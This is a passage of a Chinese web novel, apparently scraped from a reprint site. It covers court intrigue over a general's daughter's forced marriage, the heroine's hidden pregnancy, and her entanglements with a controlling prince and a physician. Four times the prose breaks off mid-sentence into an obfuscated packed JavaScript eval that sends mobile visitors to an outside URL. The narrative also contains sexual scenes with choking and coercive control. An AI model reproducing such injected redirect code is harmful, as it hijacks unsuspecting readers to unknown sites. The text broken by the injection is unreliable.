泠川反而很冷静,又喝了口汤,便叫金盏把桌子上乱七八糟的都收拾了去,才开口回复顾时, “我这种情况,倘若嫁了人那不是坑害人家吗?还是以后再说吧。” “可是你下个月就年满二十,再拖下去恐怕不太好嫁了。” “不急,若是缘分来了,挡也挡不住。” 她低着头,嘴角露出了一点笑意,她想在自己生辰那天看到秦思昭。 泠川在想,要不要干脆把自己怀孕的事告诉秦思昭,她想检验一下他值不值得她豁出一切去爱他。 若是平常男子,得知此事后勃然大怒,并且不愿接受也实属正常。不过这样平庸的男子也就只配得上一份普通平常的爱慕。 她想给的是那种豁出去一切的爱,这种爱情,平庸男子是消受不起的。 平庸本就是人之常情,倘若他真的只是一个平庸男子,那也是一个内心充满善意的平庸男子,她也不忍心苛责他什么,只是彼此放过,对此闭口不谈便是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310329|182893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她盼着顾时赶紧走,这样她就能再见到秦思昭。 泠川不仅不发火,反倒低头浅笑,顾时看了觉得头皮发麻,隐隐约约有些不祥的预感。 他伸出手去摸她的脸,她没躲开,也没去特意同他亲近,只是脸上的笑意渐渐冷了下来。 “方才那样笑,你是想到谁了?” 顾时手上的力气重了几分。 他不是吃醋,他也不可能因为泠川想到别人笑了笑就吃醋,那样着实太蠢了些。 他只是不能接受她身上有未知,她的一切他都该掌握。泠川甚至可以嫁给别人,但必须在他的控制范围内。 “并没有想到谁,不过是想到今天看的话本子罢了。” 泠川随意找了个借口搪塞过去。 “我最近政务忙碌,需四处走动,顾不上你的婚事。” 此话并不作假,顾时最近确实政事忙碌。 只是他此言一出,也有试探泠川反应的意思在里面。 泠川不过淡淡一笑道: “无妨,王爷先忙正事,我的婚事就先放一放吧,不要紧的。” 顾时虽心里有些失落,但确实也挑不出泠川的什么毛病来。 他用审视的眼神打量着她,她看起来很淡然,似乎并不着急出嫁,她是觉得只要拖下去,他就一定会向她妥协,变得任她拿捏吗? 还是说她觉得自己会登上皇位,到时候三宫六院,可以随手把她纳入后宫当个妃子,让她在后宫里享清福?可是她肯定不会对区区一个妃位感到满意。 顾时在心里摇摇头,他实在想象不出泠川像个假人一样对着他毕恭毕敬地叩拜的样子,光是想想,他就觉得生理不适。 再说他都不知自己生父是谁,能勉强姓顾已经是给足了皇室颜面,有什么开枝散叶,大肆扩充后宫的必要? 他仔细看着她的眼睛,揣测她在想什么。 “王爷,参见王爷,将军大人的小厮来了,说是将军在外面候着,要见您呢。” 金盏心想这可是要紧事,便急匆匆地进来通报,顾时点点头,表示知道了。 他心想将军来不过是为了他大量收购粮草一事,如今主动权在他身上,便从容不迫地出去应客了。 若是断了粮草,就相当于断送了十万大军的命。 将军就算再疼爱杨若云,一个杨若云也无法同十万大军的粮草之事相比。拿捏住粮草比娶将军女儿更关键。 金盏眼疾手快,把泠川锁在屋子里,省得她出去作怪。 泠川苦笑,她可知道金盏的一片苦心,恐怕她再给王府添麻烦。 “姑娘,您别急,我听说那若云姑娘似乎有了心上人,未必会嫁给王爷呢。” 金盏试图安慰她,可泠川苦笑连连,她还能不知道若云姑娘的心上人是谁吗。 “罢了,若是我的,谁来争来抢都还是我的,若是能被人轻轻松松便抢走,那我还要来作何用?” 泠川小声说道。 话虽是这么说的,理也是这个理,可泠川还是忍不住地惴惴不安,生怕秦思昭会变了心意。 12. 第 12 章 金盏并不知她所说的人并非顾时,继续说道: “可姑娘毕竟跟王爷身份差距大了些,若是无法成亲也正常,姑娘还是别太指望了,” 她本来想回嘴,说指望的人也不是他,但想一想还是把话咽回了肚子里。 若是王爷出面做主,赔上嫁妆把她指给秦思昭,那这样的婚姻还有什么意思。 泠川沉默,金盏以为她又不高兴了,便出言安慰: “姑娘,您别着急,我去帮您看看情况。” 过了一小会儿,金盏回来,咔地一声把门打开。 “王爷说是有要事,已经离开王府了。” 泠川松了口气,露出一个浅笑,他终于走了。 金盏最近负面情绪挺大。 她在门口听见了当今圣上病重的事,想必接下来是王爷继位。 可王爷一继位,她就得当皇宫里的大宫女,银钱没涨多少,事儿反而变多,规矩更是大的不得了。 王府里虽然麻烦事多些,但确实没多少故意磋磨人的规矩,她时不时还能偷偷懒,回趟家,可要是到了宫中,跪这个拜那个的不说,还无法出宫,她非得老死在里面不可。 她隐隐约约动了辞职回家的心思,自己攒的银两也够开个小店,再养只脸盘子圆的小狸奴,到时候自己每日撸猫晒太阳,岂不快哉。 可要辞职也得在泠川安稳下来之后再辞职,毕竟她知道的私事太多,到时候风言风语,王爷又要猜疑是她到处乱说的。 若是一辈子当个闲散王爷,跟泠川瞎胡闹几年也就罢了,娶她也没什么大不了的。 可他若是当了皇上……那得是嫌自己的皇威太高,后宫太安宁,需要个女妖精来克一克,才敢把泠川弄进去。 她便咕噜咕噜转着眼睛,开始出馊主意。 “眼看着王爷前途一片大好,恐怕是不能给姑娘名分的,姑娘也多为自己打算些吧。” 金盏其实也懒得揣度王爷对泠川的心意,天知道他到底是不是希望泠川真的出嫁,她只知道泠川嫁出去,自己就能安心退休回家了。 她故意把话说得滴水不漏,就算她听了此话后去偷了汉子,也不能说是她金盏教唆的。 “我这几日家里有些急事,我三舅爷爷去世了,我得回去看看,姑娘您多担待啊。” 泠川用袖子掩着脸窃笑,金盏的三舅爷爷已经死了三次了,她也只睁一只眼闭一只眼,不过假期是人的必需品,谁能连着操劳呢? 金盏刚走没多久,泠川就换上了一身素净到底的衣裳,又洗了脸。 她天生眉毛淡,眼角又很尖锐,若是不画眉就压不住眼里的戾气,看起来鬼气森森,她只描了描眉毛,看起来乖巧了些。 不知为何,嘴角的笑意无论如何都压不下去,她只戴帷帽遮住自己的面容,匆匆去了秦思昭府上。 秦思昭府上似乎有客人,小厮迟疑了一下,还是叫泠川进去了。 她喝着茶,心情忐忑不已,她不知自己到底能不能把一切都坦白与他。 隐隐约约地,她竟然听到了一个女子的哭声。 “我爹逼迫我嫁给顾时……他竟然说后悔把我养成这个样子,说我抓不住男人的心……可我难道活着就为了讨男人的喜欢吗?他怎能这样对我?” 那是杨若云的声音,她继续哭道, “现在粮草掌握在顾时手里,他怕在粮草上受制于人,就逼我嫁到王府里去……他就希望我跟个狐狸似的把王爷勾住了,他好坐收渔利呢。 “可我的婚事凭什么变成这个样子,原来我只是他的一个棋子,而不是他的女儿。” “我学的那些骑射,原来也只是我爹用来炫耀的把戏罢了……” 泠川越听越气,攥紧拳头锤了下桌子。 “当爹的怎能这样对待女儿?也太狠心了吧!” 她情绪一激动,用力了些,被杨若云听到了。 杨若云擦擦眼泪,大大方方地走了进来,同泠川四目相对,她免不了有些尴尬。 “我不是……不是故意要偷听你们说话的……我叫泠川,是王爷的义妹,不过是来走动走动罢了。” 泠川没有打扮,只描了描眉毛,看起来确实不像来偷人的。 她深知有些东西越描越黑,与其心虚紧张,还不如轻描淡写。 “还请泠川姑娘帮我带个话,叫王爷不要同意。” 泠川诚恳地点了点头,她也没想到将军竟然这么狠心,原来对女儿的爱都是他自恋的把戏。 可答应完,泠川却隐隐有些不安,她心脏跳得七上八下,秦思昭会因为杨若云有难就答应同她成亲吗…… 她板起个脸,抿着嘴说: “我先说清楚,我只能去劝王爷不要同你成亲,剩下的我可不会管你。” 若是被家人逼迫嫁到王府,那杨若云未免也太可怜了,顾时又不是什么好东西,她会去想办法把这桩婚事搅黄了的。 但她也不会因此就把秦思昭让给她…… 这个想法忽然一下从她心底冒出来,可她又对这种想法有些反感,秦思昭又不是个东西,不能抢来让去的,喜欢谁就跟谁在一起是他的自由。 杨若云擦擦脸,转悲为喜, “多谢泠川姑娘,回头我教你骑马。” 泠川往后缩了缩,连连摆手, “算了算了,我害怕那种热腾腾的东西,哎呦……” 一是泠川真的害怕高头大马,二是她真不想跟杨若云有什么过多的接触,她可不想对她产生什么多余的感情。 杨若云看泠川连连摆手的样子,没忍住笑了笑,转身回府了。 泠川忽然变得很不安,用双眼着急地去找秦思昭。 “你若是喜欢谁,就跟谁在一起,这是你的自由……” 虽然嘴上是这样说,但实际上她还是最希望秦思昭能喜欢她。 秦思昭看着她笑了笑, “我不是说过吗,想娶的妻子只有泠川小姐一个而已。” “可是我有个很坏的秘密,你知道了就会后悔。” 他看着窗外出神,眼神忽然一暗,面色沉了下来,添了几分幽暗。 “泠川姑娘的秘密绝对不可能比我的更坏,我希望你不要后悔接近我。” 他确实做过这个世界上一个人能做的最残忍的事。 泠川忽然有些好奇,开始发挥想象力。 “怎么,难道您表面正经,背后是花花公子?玩弄过很多姑娘的心吗?” 他对这种揣测有些生气,嘴角向下,居高临下地看着她说, “那种事我可没做过,我一向洁身自好。” “连姑娘的手都没牵过吗?” 她惊讶地看着他,期待地笑着。 “当然。” 话音未落,泠川就眼巴巴地抓住了他的手,露出一个得逞了的狡黠表情。 “现在你就牵过啦。” 泠川的声音里带着一种小心翼翼的欣喜, 他紧紧回握住她的手,力气大到让她有些吃痛。 “泠川,答应我,绝对不要寻死好吗?” 他直直看着她的眼睛,里面尽是泠川辨别不出的情绪。 他为什么对她的自毁情绪那么敏感,他究竟在透过她看什么? 她的拇指轻轻抚摸他的手背,无声地注视着他。 “你答应我。” 他手上的力道又重了几分,语气不容拒绝。 他在逼她做出承诺。 秦思昭千方百计,不择手段地逼她活下去。 “为什么我要答应你这种事?” 泠川使劲把手往回抽,可他看起来纤细,力气却大得惊人,完全没有让着她的意思。 如同被看穿了一般,她感受到了恐惧。 “我不允许你寻死。” 他忽然急切地抱住了她,泠川被吓了一跳。 “你放开我……我害怕……” 他松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310330|182893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开了她的肩膀,握着她的手说: “泠川,只有还向往生命的人才会感到恐惧,你要记住这种恐惧的感觉,这证明你还想活下去。” 秦思昭双手的温度几乎要把她烫伤,她的心跳因不安而飞速加快,耳朵涨得通红。 “泠川,我背负的罪孽绝对比你的更多,你不能死,我也不能,我们必须一起活下去。” “那好,我答应你。我们就一起当苟活于世上的罪人” 她看着他涨红的双眼,忽然发现他和她是同类的人,他也有过轻生的冲动。 泠川开始感到疑惑。 他能有什么罪孽?他这样清白,干净,他究竟隐瞒了什么秘密,能让他有如此沉重的自毁情结? “我答应你的事,不是我要活下去,而是我们两个都要活下去。” 她拉住他的手,低着头,没看他的眼睛。 “你可以答应我吗?” 他苦笑,把头撇到一半,没有看她。 “泠川,你是个聪明的姑娘。” 她换上了一副讽刺的表情,冷笑看着他道: “怎么,刚刚还逼我做承诺,这会儿又怕了?是不敢对我做出承诺吗?自己都做不到的事也敢逼我做,真是好厚的脸皮。” 放完狠话,泠川便走了。 她的眼泪落了下来。 泠川和秦思昭没见过几次,她不可能多爱秦思昭,但他的生死确确实实地记挂在了她的心头。 一个人把自己的阴暗沉重的秘密,和生的希望,全都记挂在了一个近乎陌生的人身上。这是一种什么样的感觉? 他们彼此陌生,并不了解,却怪异地生死相依了。 回到王府后,泠川开始担心杨若云。 这几天顾时都不在,也没个消息,她心里没底,七上八下的。 金盏一回来,泠川就赶紧问她。 “金盏,将军府的若云小姐现在怎样了” 她知道金盏表面上一副不干己事不开口的老实样子,实际上消息最为灵通。 “姑娘……” 她磨磨蹭蹭地,似乎不肯说似的。 “还是等王爷回来,亲自告诉您吧,我的身份不好开口的……再说,事情还有转机呢。” 金盏心想,若是泠川听后发火,把王爷的婚事搅黄了,最后还得她来承担责任。 “我没问王爷怎样,我问的是若云小姐如今怎样了?” “若云小姐……若云小姐再彪悍也是个十八岁的小女儿家,能怎么样……被将军大人禁足了呗。” 泠川心里一阵焦急,被自己亲爹如此冷血地对待,若云非得伤透了心不可。 疼的时候当成掌上明珠一般,利用的时候又毫不留情地抛弃。当爹的怎能这样对待女儿呢? “顾时在哪?我要去找他……” 金盏一看大事不妙,泠川非得去把这件事搅黄了不可,赶紧劝道, “姑娘……那若云姑娘是将军家的贵女,王爷非常重视这门婚事呢……再说若云姑娘听说品性很好,未必容不下您,您这是何苦。” “呸!你这说得是什么话!什么叫容得下我容不下我?他顾时祸害我一个还不够,还要再祸害一个吗?我又不是拉人下水的伥鬼!我告诉你,杨若云她不愿意!” 泠川对着金盏发了好大的一通火,金盏咬着牙忍了,但绝不松口。 她骂了一大通,金盏只充耳不闻,她只知道若是泠川把王爷的婚事搅黄了,王爷也许会原谅泠川,但绝对不会原谅她。 她这种苦命的下人只会是杀鸡儆猴的那只鸡。 “泠川,你跟金盏发什么火呢?” 顾时正好回来,便看见泠川正在跟金盏撒泼,心里有些纳闷。 这金盏平日里跟滚刀肉一般,泠川拿她一点办法都没,今日怎么发起火来了呢? 她气势汹汹地冲到他面前,揪住他的衣领子。 “顾时,我不许你娶杨若云!” 13. 第 13 章 泠川的手压着他的心脏,顾时感到自己的心跳得飞快。 她的歇斯底里在他的眼中无疑是一种对爱情的激烈表达方式,他强行让自己的呼吸平缓下来,内心又忍不住的激动。她终于要踏出这一步了吗? 一种甜腻的欣喜感从顾时心底涌起,他强行压住嘴角的笑意,把她的手拍了下去。 顾时满心欣喜又高高在上地等待泠川主动向他求婚。 却没等到…… 泠川只是叫他不要与杨若云成婚,却丝毫没有与他亲近的意思。 期望落空之后,顾时有些恼羞成怒。 “泠川,你也配掺和我的婚事?我直接告诉你,将军已经做主要把他的女儿嫁给我,你如何能阻拦的了?” 他拽着她的手腕,一路把她拖到房中,又锁上门。 “泠川,你说啊,你不让我娶杨若云,那我娶谁?” 顾时考虑到泠川也许是方才在外面,不好意思开口,于是特意把门窗都关紧了。 他想,泠川这次总会给他一个正式的答复,满心欢喜地回头,却被一片白色刺痛了眼。 那是她胸口皮肤的一片白色,她的锁骨上泛着一层美艳夺目的光,乌黑的散发和苍白的皮肤形成残忍的对比。 她像扔掉一件垃圾一样把外衣丢在地上。 顾时忽然觉得自己被强烈地侮辱了。 他不是为了这个。 顾时想转身就走,泠川却低着头,一言不发地扯下了他的腰带,她摸着他的喉结,勾住他的脖子,她的唇冷冰冰的,脖子也冰凉地抵在了他的脖子上,腿就像一条无情的蛇将他绞杀。 顾时想把她推开,质问她到底是什么意思。但情欲总有摧毁一切理智的力量,瞬间把他吞噬。 缠绵了半晌后,顾时更生气了,他粗暴地把泠川搭在他腰上的腿推下去,冷脸嘲讽道, “你觉得你这两下子就能让我回心转意?泠川,你也太小瞧我了吧。” “你只要不娶杨若云,随便你娶谁。” 他压在她身上,掐着她的脖子……并没有太用力,警告的意味十足。 “我说过,我要娶的不是杨若云,而是将军家的贵女,我不想再说第二遍。” “将军生怕你断了他的粮草,于是派女儿来盯紧你的动向……她是将军派来盯着你的细作……咳咳……这样也没关系吗?” 顾时把手松开,他没想到泠川不让他娶杨若云竟然是为了他好。 可她既然这么关心他,那她为什么不直接强硬一点命令他娶她呢? “你别管了,此事我自有打算。” 顾时只冷冷回了这么一句,泠川的心里直打鼓。 她暗暗在心底骂了一句,劝也劝过了,她已经仁至义尽,顾时若是执意要娶杨若云,她也没别的法子。 毕竟她只承诺了帮她劝劝王爷,又没承诺一定能做到,她哪有那么大的本事。 顾时穿好衣服,推门出去,金盏赶紧迎了过来。 “王爷,可有什么嘱咐?” “由着泠川去,不用拦着她,我倒要看看她能闯出什么祸来。” 他想要泠川把他们直接的关系公布于众。 金盏只简单应和下来……多一事不如少一事,她怎会给自己倒找麻烦呢。 “我去将军那里做客,要带上影卫。” 一个沉默男子不知从何处走了出来,他叫姜九州,是孟青的师父。 “王爷,随时为您卖命。” “跟紧我,不要让将军发现。” 将军邀请他到家中去留宿,顾时倒要去看看他葫芦里卖的是什么药。 如今粮草被他控制住,主动权到了他的手上,将军确实应该急上一急了。 他皱着眉,觉得有些奇怪。 将军竟然没出面,只把他引到一个隐蔽的房间。 他满脸不耐烦,对着房梁打了个手势。 一颗石子落在地上,啪地一声,姜九州就在这里随时保证他的安全,顾时也稍稍安下心来。 他倒要看看这将军葫芦里卖的什么药。 吱呀一声,门被拉开,杨若云穿着一件不常穿的罗裙,促狭地走了进来。 她磨磨蹭蹭,走上前两步,就退回去三步,怎么也不肯真的走进来。 她尴尬地捂住了自己的脸,心里失落酸涩。 若是父亲真心为难,她也愿意为顾全大局牺牲自己,可是他几乎是咬牙切齿地把她推出来,对她连半点心疼都没。 为什么父亲要这样对她? 将军竟然来这套……顾时觉得有些恶心,免不了看扁了他几分。 曾经那个意气风发的将军,如今老了,胡子白了脑子也糊涂,竟然要让女儿来做这种上不得台面的事。 “回去吧,若云小姐。” 他没看她,只把门拉到最大,快速走到了院子里。 杨若云似乎松了口气一般,跟着他走到了院子,平常大嗓门的她,如今却学起了蚊子哼哼: “小女谢过王爷。” 顾时皱起眉头,把脸撇到一边。 “将军大人在哪,本王直接去找他……” 他表情有些不耐烦,早知道就不来了,他还以为有什么大事呢,平白无故添了几分膈应。 杨若云快速给顾时指了个方向,尴尬地跑掉了。 顾时很不客气地走了进去,今日无缘无故被恶心了一次,他心情不爽。 “将军应当给本王行礼。” 他平时随和,不讲究这套,但今日不行。 将军的神色变了变,规规矩矩地行了个礼。 “王爷可是对小女不满意吗?” 顾时浑身上下的鸡皮疙瘩都起来了,被膈应得不得了,嘴角向下撇,咬紧牙关。 “我不会娶你女儿,也不会克扣军队的粮草。” 将军变了变脸色,这样的随口承诺怎么能信呢。 “王爷可是已有正妻人选?” “我再过半年就正式娶泠川为妻。” 他撂下这句话,忍无可忍地走了。 顾时本以为将军是要设局暗杀他,才故意引蛇出洞赴约,真没想到,自己竟然高看他了。 他回去非得好好洗个澡,去一去晦气不可。 原本顾时一走,泠川便想去秦思昭那里看看,却被金盏拦住了。 今日金盏盯她盯得死紧,信念感十足,半步都不肯放松。 她还想顺顺利利地拿银子回家当个媒婆,她可不要结婚生孩子,只养上三只小狸奴,一只脸盘子圆憨态可掬,一只长毛漂亮性格高冷,最后一只浑身酥软声音甜媚。 若是泠川给她惹出什么事来,害得她跟着受罚,拿银两回家养小狸奴的梦想就要破灭了。 “哎,王爷,您怎么这么快就回来了?” 他阴冷着脸, “叫小厮去准备洗澡水,我去去晦气。” 金盏一见王爷心情不好,赶紧躲得远远的,生怕遭受无妄之灾。 泠川站在假山后面,像一只小蛇一样歪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310331|182893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着头,悄悄观察着顾时,他的心情确实很不好,是因为被杨若云拒绝了吗? 顾时一转身,与泠川远远地四目相对。 泠川正看着他,密切地关注着他。就连一团白柳絮落在她鼻尖上,她都没发现,只专心致志地偷看他的反应。 阴霾一扫而空,顾时的心情瞬间变得好了起来。 他走到假山后面,把她鼻尖上的柳絮摘掉,泠川垂着眼帘,只能看到她尖尖的,带着几分促狭气的眼角。 顾时抬起她的下巴,泠川睁开眼,媚态和桀骜同时糅杂在她的眼中,形成一种冷漠的滑艳。 他想,这是猎人的眼睛而不是猎物的眼睛,她就像冷血动物。 自己在死前一定会回想起泠川清冷桀骜的样子,她像一捧掺了媚药的冰川水。 他把她按在假山上,开始亲吻她的嘴唇,然后开始吻她的脖子。 她似乎非常不满,虎口卡着他的喉结,扼住他的咽喉。 “怎么?被将军家的贵女拒绝了,就跑到我这里来逞威风?” 她手上又施了几分力道,就像被一条冷冰冰的蟒蛇缠住脖子,顾时有几分兴奋,不管不顾地继续欺身上前。 啪—— 泠川冷漠地甩了甩手,这一耳光扇得她手生疼,他应该给她的手好好道歉才对。 “有毛病就去治,别来我这逞威风。” 她露出鄙夷的神色,顾时不会想光天化日之下在室外发生点什么吧。 拿出帕子擦了擦手,泠川回了自己的卧房。 看来顾时果真在杨若云那里碰了好大的钉子,便从她身上找补回来。 泠川冷笑,顾时果真拿她当个玩意,有需要的时候便贴在一起,没用了又一脚踢开。 如今杨若云不喜顾时,他恐怕是尊严受损,又要从她这里找回来。 她气得要摔桌子上的摆设,顾时却走了进来,她顺手把那东西丢在他脸上。 顾时稳稳把那摆设接住,放在桌子上。他刚洗完澡,头发还滴着水,消瘦的下颌有些苍白,长长的睫毛也湿漉漉地垂下来,打出一片阴影。 泠川略微有些惊讶,原来他是能接住的。 之前她拿东西砸他,他躲都不躲,难道是故意的吗。 他急不可耐地扑在她的身上,泠川早就料到如此,把他的额发撩到一边,露出眉眼。 顾时看着她清晰的下颌线,把自己的手指插进她的指缝里,顺势按倒在床上。 一阵痴缠后,泠川趴在他耳畔轻声问道: “是不是在杨若云那里碰钉子啦,才来找我?” “不是,我没必要娶她。” 顾时难得地诚实了一次。但这种回答也只能勉强算是诚实而不是坦诚。 他想看她千方百计阻止他成婚的样子,但他觉得,自己的心意也越发地藏不住了。 至少现在,他不想让泠川觉得自己只是一个可有可无的备选项。 他俯身亲吻了她。 想起她躲在假山后面偷看他,鼻尖上还顶着一团柳絮的样子,他就忍不住觉得心软。 “那你还要娶杨若云吗?” 她小声嘟囔着,顾时真的没办法再说出让她不开心的话。 “我不娶她。” 他看到泠川满意地笑了笑,像一只小猫一样依偎在他怀里。 他抱着她,用手掌不停确认她后脊骨的形状,她的骨头很硬,身子也是硬的,他用力的时候会被硌到,那种隐隐的痛感总是能带给他一种特殊的愉悦。 14. 第 14 章 顾时对这种愉悦感莫名其妙地成了瘾,戒不掉,他只想再多索取一些。 一连三日,顾时都对泠川缠得死紧,几乎没下过床,泠川觉得身子扛不住,心里还有些莫名其妙。 虽然说做都做了,也不差这么一次两次,她也不怕这个,没什么可矫情的,但是她总觉得事情里透露着古怪。 他完全不像是在她身上发泄愤怒,反倒像是……像是…… 泠川搜刮遍脑子也找不出合适的比喻词。 总而言之事情怪得很。 顾时把自己打理得干净整洁,丝毫看不出任何倦意,泠川看着他愣了愣,心想他可真是人模狗样。 他感受到了她的视线,扭过头来对她说: “泠川,我最近要忙于公务,事情紧急,没法陪你,可能要离开一段时间。” “啊……哦。” 泠川将将回过神来,那事儿干得太多的话,脑子就会变得非常古怪混沌,常常离神,并且会时不时感到空虚,她不喜欢那样。 原来是他要离开一阵,才赶紧在她身上把所有欲|望都打扫一空,好整装待发。 她洗完澡恹恹地打了个哈欠,实在是没精力去做什么事,躺在床上等人伺候算了。 金盏给她倒了杯茶水,却是一肚子火气。 这三日里来他们两个人都没怎么下过床,害得她还要费尽心思把乱七八糟的下人支走,免得落人口实。 他们两个倒是快活了,可院子里剩下的活都得她一个人来干,晚上还要跟着守夜。 看着顾时的背影,她心里莫名其妙觉得痛快,他可算是滚蛋了。 金盏在心里暗暗诅咒顾时从此不举,想摔点东西解恨,却悲催地发现哪件东西她都赔不起。 她只好寻个没人的地方,脱下鞋子使劲摔了两下解恨,又单脚蹦着把鞋子穿回去。 苦命啊……她真是苦命…… 过了一刻,金盏顶着黑眼圈进了泠川的房间,蔫蔫地说, “姑娘,有人找您。” 泠川忽然从床上坐了起来,心里有些急切,不会是秦思昭找过来了吧。 “快帮我把衣服穿好,别叫人瞧出来什么……” 她穿了一件藕色齐胸襦裙,没画眉毛,眼下的淤血和泪沟有些明显,看起来有几分憔悴,只好匆匆化了个妆,掩饰一二。 泠川匆匆走出去,只见一匹高头大马,上面坐了一个穿圆领袍的少年……不,是个女孩,杨若云只是穿着男装,但未曾掩盖她的性别特征,一眼就能看出是个穿男装的姑娘。 “杨姑娘……” “直接叫我若云就好,我答应好了要教你骑马的,上来吧。” “还是算了……” 泠川被杨若云的热情吓得转头就跑,却被她直接抓住。 杨若云弓马娴熟,后背很宽,手臂有力,直接把泠川打横抱起,抱到了马上。 泠川被吓得不轻,这身下热腾腾还一颠一颠的马匹一下唤醒了她一些见不得人的记忆,感觉甚是古怪。 她又怕从高头大马上掉下去,只得抓紧杨若云的衣服,窝在她怀里。 这感觉真是别扭极了,泠川的脸红到了耳朵根。 “泠川,我只是为了方便才穿男装,又不是把自己当成男人,你害羞什么?” 杨若云爽朗地笑道, “多亏了有你,谢谢你帮我。” 她虽看似爽朗,但泠川知道,有些事一旦发生了就不可挽回。就像把花瓶打碎,即使再粘回去,上面也有了裂痕。经过此事后,杨若云不可能再像原先一样欢快了。 泠川悄悄看杨若云的眼角有些泛红,她一定哭了很多。 她把头埋在她衣服里,小声地说: “我先说好,我只是在这件事上帮了你,可不代表我事事都会让着你。” “怎么?你也喜欢秦思昭?” 泠川瞬间脸涨得通红,挥起手臂,险些从马上面摔下去。 “别瞎说,你可别瞎说!哪里有!” 她抓住她的胳膊,把她固定在怀里。 “还嘴硬不承认,你的脸都红成这样了……若是你不喜欢秦思昭,又何苦帮了我还躲躲藏藏的?” 被戳中心事,泠川只能抿着嘴,一言不发地窝着, “泠川,其实我心里也好别扭,只是男女感情上的事到底强求不来,没缘分就没缘分,我杨若云拿得起放得下。” 泠川不知道该说什么好,她只知道杨若云被父亲出卖,肯定要比情场失意难过多了。 “以后我不留在将军府了……今日是来同你告别的。” 泠川有些担心地看着她,问: “你要出走吗?” 她直接点了点头。 “我不仅来同你道别,还要去同秦思昭告别,我们一起去吧。” 泠川心知她去意已决,只好点点头。 杨若云犹豫了好几次,都欲言又止,到底该不该把顾时打算娶她的事情告诉她呢…… 可是泠川如今和秦思昭算两情相悦,她也不想从中作梗。 她转念又想,如果顾时真心愿意娶她,那应该亲自告诉她,为何要假借他人之口,于是决定不说了。 顾时坐在车里,想透透气便拉开了帘子。他往前看去,一匹高头大马上坐着一个男青年,而那男子的怀里正抱着一个姑娘。 那姑娘只露出一个细细的手腕,她戴着一个细细的银镯子。 他怎会不认得呢,那个镯子,是昨晚自己亲手给泠川戴上的。 为什么她现在竟然坐在别的男人的怀里……顾时的呼吸陷入凝滞,恍若被一桶冰水从头浇到脚。 他不过怔住了一瞬,那二人便大隐隐于市了。 泠川与杨若云二人一起去了秦思昭府上。 一个老妇躺在地上,小腿脱臼,神智不清,秦思昭挽起袖子,小臂肌肉绷紧,咔的一声,老妇的腿骨便归于原位。 他又施了几针,那老妇人竟颤颤巍巍地站了起来。 “多谢这位公子救命。” 泠川看得心里一颤,这当大夫的手劲就是大,竟然能徒手将骨骼复位。 一个小厮搀扶那老妇出门,杨若云才开口: “秦公子,我是来同你道别的……” 她想起自己之前鲁莽跟秦思昭告白的事,未免有些尴尬,说: “以朋友的身份来跟你道别。” 秦思昭有些惊讶,抬起头问: “姑娘是怎么了?” “我不是一时任性离家出走……只是觉得待在家里迟早也要变成联姻工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310332|182893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 具,不如出去闯荡闯荡。” 秦思昭点点头, “那若云姑娘也不要让您母亲太过担心就是。” “等我稳定下来,会寄家书的。” 杨若云又寒暄了几句,起身便走了,泠川知道她这一走,二人再无相见之日,也只愣愣看着她,什么都没说。 她心底隐隐约约有了羡慕之情,杨若云弓马娴熟,真是天高任鸟飞。 不像她腹中还揣了一个孩子…… 她看着秦思昭,他是个娴熟的大夫,自己只要肯开口,他就能帮自己成功解决掉这个心腹大患。 可是对着心上人坦白自己怀了别人的孩子没那么容易。 泠川无论如何都开不了口,只看着他自己去打了盆水,把沾了血污的手洗净擦干。 “泠川,你可是在担心杨姑娘?” 他直接拉住她的手,往怀里带了几步。 “杨姑娘在大事上不是鲁莽的人,想必早有准备,你也不用太担心她。” 泠川顾不得他的手还握在她的手腕上,心里乱糟糟的,全是她腹中胎儿的事。 她一垂目,手腕上的银镯子反射出刺眼的光,种种不堪往事一下浮现于她眼前。 这个银镯子,还是昨夜顾时意兴之时亲手给她戴上去的。 泠川的手忍不住发抖,眼底瞬间满是耻辱和羞赧。 “姑娘这镯子样式倒是新奇。” 